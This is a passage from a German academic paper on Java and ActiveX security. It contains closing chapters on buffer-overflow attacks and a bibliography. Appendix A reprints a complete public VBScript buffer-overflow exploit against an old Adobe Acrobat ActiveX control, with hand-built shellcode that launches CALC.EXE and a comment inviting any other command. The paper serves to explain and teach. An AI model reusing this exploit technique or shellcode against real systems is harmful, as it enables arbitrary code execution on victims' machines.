einen nicht dafür vorhergesehenen Bereich des Speichers schreiben. Auf einem System, auf dem eine solche Komponente ausgeführt würde, könnten per Remote-Zugriff
beliebige andere Programme gestartet werden.
5.2.4
Verantwortung liegt beim Benutzer
Eine einzige Warnung auf dem Bildschirm hält viele Benutzer nicht davon ab ein
Programm auszuführen. Arbeitet man mit den heutzutage auf dem Mark am meisten verbreiteten Programmen, ist man sich gewohnt mitten in der Arbeit erscheinede
Mitteilungen vom Bildschirm reflexartig wegzuklicken. Werden im Internet in Zukunft mehr ActiveX Komponenten eingesetzt werden, wird die Sensibilität für solche
Bildschirmmeldungen in der Browserumgebung ebenfalls verschwinden. Es möchten
sich nicht alle Benutzer des Internets vor dem Surfen“ eingehend mit bösartigen Ac”
tiveX Komponenten und Javacode auseinandersetzten. Die Sicherheit des Systems
sollte von der Umgebung, in der autonomer Programmcode ausführbar ist, besser
unterstützt werden.
5.3
Bekannte Attacken
Ein Beispiel für eine Bufferoverflow Attacke durch eine ActiveX Komponente ist auf
der Internetseite von SecurityFocus [8] zu finden. Sie benutzt dazu eine unvorsichtig
implementierte Funktion eines Adobe Acrobat Plugins zur Darstellung von PDFDatein. Der in die Internetseite zu integrierende Programmcode ist im Anhang A
20
Kapitel 5: ActiveX
zu finden. Er ist unter der aktuellen Adobe-Plugin Version 5.0 nicht mehr lauffähig,
war aber in der Lage auf dem System, von dem aus die Seite aufgerufen wurde einen
beliebigen Befehl auszuführen.
Eine Bufferoverflow Attacke nutzt Schwachstellen in der Implementation von
Programmen aus, denen Parameter oder andere zu verarbeitende Daten übergeben
werden können. Die Schwäche besteht darin, dass bei der Verarbeitung von übergebenen Daten, diese Daten in den Hauptspeicher kopiert werden, ohne dass die Grösse
des dafür reservierten Speicherbereichs überprüft wird. Wird Beispielsweise als Parameter ein String von einer gewissen Länge erwartet, doch ein weitaus längerer
String übergeben, wird trotzdem der ganze String in den Speicher geschrieben. Dabei werden andere Daten, die sich ebenfalls im Speicher befinden überschrieben. Falls
sich das Programm in diesem Moment gerade innerhalb einer Subroutine befindet,
befindet sich auch die Rücksprungadresse ins Hauptprogramm in diesem Speicherbereich. Ziel der Attacke ist es, diese Rücksprungadresse zu überschreiben und dabei
eine Adresse zu setzten, die in den Bereich des Speichers springt, an dem sich der
übergebenen String befindet. Gelingt dies, wird der Prozessor nach dem durcharbeiten der Subroutine versuchen, den übergebenen String als Programmcode zu interpretieren. Falls sich in dem String also Maschinencode in der Form von Binärwerten
(sogenannter Payload ) befindet, der über einen Methodenaufruf des Betriebssystes eine Shell ausführt, erhält der fremde Rechner Zugang zu einer Shell mit den
Benutzerrechten des fehlerhaften Programmes.
In dem genannten Beispiel übergibt die Funktion pdf.setview() einen längeren
String, als das PDF-Plugin erwartet. Die Variable expstr die als String übergeben
wird enthält binärer Code, der direkt durch den fremden Prozessor ausgeführt werden kann. Dieser binäre Programmcode öffnet eine Kommandozeile und führt einen
beliebigen Befehl (hier im Beispiel CALC.EXE) aus.
21
Kapitel 6
Schlussfolgerung
6.1
Fazit
Die Entwickler von Java haben viel Zeit und Aufwand in die Sicherheit von Java
investiert. Dadurch haben sie erreicht das in Java ein gutes Sicherheitskonzept umgesetzt worden ist. Bei Java bleibt aufgrund von (möglichen) Fehlern ein gewisses
Restrisiko bei der Nutzung von Applets. Das mit Java auch allerhand Unfug getrieben werden kann, wie dies im Abschnitt 4.5 stellt bei geschulten Benutzern kein
wirkliches Sicherheitsrisiko dar. Dieses Risiko ist weitaus geringer als beispielsweise
das Anheften von Passwörtern auf Notizzetteln am Bildschirm.
Bei ActiveX ist das Sicherheitsrisiko unübersehbar, da der Zugriff auf alle Funktionen des Rechners möglich ist, auch wenn durch verschiedene Zertifizierungsmethoden und einstellbaren Sicherheitsebenen eine theoretische Verminderung der Risiken
möglich ist. Beide Technologien bieten die Möglichkeit sich selbstausführbare Programme auf den Computer zu laden. Diese Macht ist auf keinen Fall zu unterschätzen
und sollte ständig im Bewusstsein bleiben.
6.2
Ausblick
In Zukunft werden weitere Fehler in den Implementationen der ActiveX- und Javaumgebungen gefunden werden. Bei Java ist die Chance hoch, dass die meisten
der zukünftig aufgedeckten Schwachstellen von der Princeton Java Security Group
gefunden werden, da diese auf diese Tätigkeit spezialisiert ist. Bei ActiveX wird es
irgendjemand sein.
Anhang A
ActiveX Exploit
Der folgende Exploit [8] stammt aus der Datenbank der Packet Storm Organisation.
This control from Adobe Acrobat, can be exploited through
the setview method, and because ESP points to the address
after the RET address, we can place arbitrary code at this
point and JMP to it by RET’ing to a JMP ESP, in this case,
one found in Shell32. The code simply executes CALC.EXE
then calls ExitProcess to terminate the host without it
crashing. I have attempted to notify Adobe of the issue,
however they don’t appear to have any form of direct
secure@ address.
<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000"
id="pdf"></object>
<script language="VBscript"><!-msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10)
+ "Written by Shane Hird")
expstr
= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA"
expstr = expstr + Chr(235)
’Address in SHELL32, Win98 (7FD035EB) of JMP ESP
expstr = expstr + Chr(53)
’You may need to use a different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)
Kapitel A: ActiveX Exploit
’Stack is slightly trashed, but NOPs fix it up ok
expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144)
+ Chr(144)
’MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)
’ADD EDI, 19 (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)
’PUSH EAX (Window Style EAX = 1)
expstr = expstr + Chr(80)
’PUSH EDI (Address of command line)
expstr = expstr + Chr(87)
’MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) +
Chr(191)
’CALL EDX
expstr = expstr + Chr(255) + Chr(210)
’XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)
’PUSH EAX
expstr = expstr + Chr(80)
’MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248)
+ Chr(191)
’CALL EDX
expstr = expstr + Chr(255) + Chr(210)
’Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"
’Call exploitable method
pdf.setview(expstr)
--></script>
24
Anhang B
Abkürzungsverzeichnis
JVM Java Virtual Machine
TCB Trusted Computing Base
OLE Object Linking and Embedding
COM Component Objekt Model
VM Virtual Machine
Literaturverzeichnis
[1] CERT(sm) Advisory CA-96-05. Java Implementations Can Allow Connection
to an Arbitrary Host.
[2] CERT(sm) Advisory CA-96-07. Weaknesses in Java Byte Code Verifier.
[3] David Chappell and David S. Linthicum. ActiveX Demystified, Byte Magazin,
September 1997. Website: http://www.byte.com/art/9709/sec5/sec5.htm.
[4] Bellovin Cheswick. Firewalls an Internet Security. Addison-Wesley, 1994.
[5] Mary Dageforde. Security in Java 2 SDK 1.2. Website: http://java.sun.com/
docs/books/tutorial/security1.2/.
[6] Li Gong.
Java Security Architecture (JDK1.2).
Website: http:
//java.sun.com/products/jdk/1.2/docs/guide/security/spec/
security-spec.doc.html.
[7] Roger A. Grimes. Malicious Mobile Code. O’Reilly and Associates, Inc., 101
Morris Street, Sebastopol, CA 95472, 1 edition, 2001. ISBN 1-56592-682-X. 524
pp.
[8] Shane Hird. Exploit aus der Datenbank der Packe Storm Organization. Website:
www.packetstormsecurity.org/9909-exploits/ActiveX_bof.txt.
[9] LaDue. Security Threats from Deviant Java Byte Coder.
[10] Microsoft. Designing Secure ActiveX Controls. Website: http://msdn.
microsoft.com/library/default.asp?url=/workshop/components/
activex/intro.asp.
[11] Inc. Sun Microsystems. Java Tutorial. Website: http://java.sun.com/docs/
books/tutorial/security1.2/tour1/step1.html.
[12] Inc. Sun Microsystems. The Source for Java Technology. Website: http://
java.sun.com/sfaq/.
[13] Mark Vogelsberger. Datenschutz und Datensicherheit, 1999.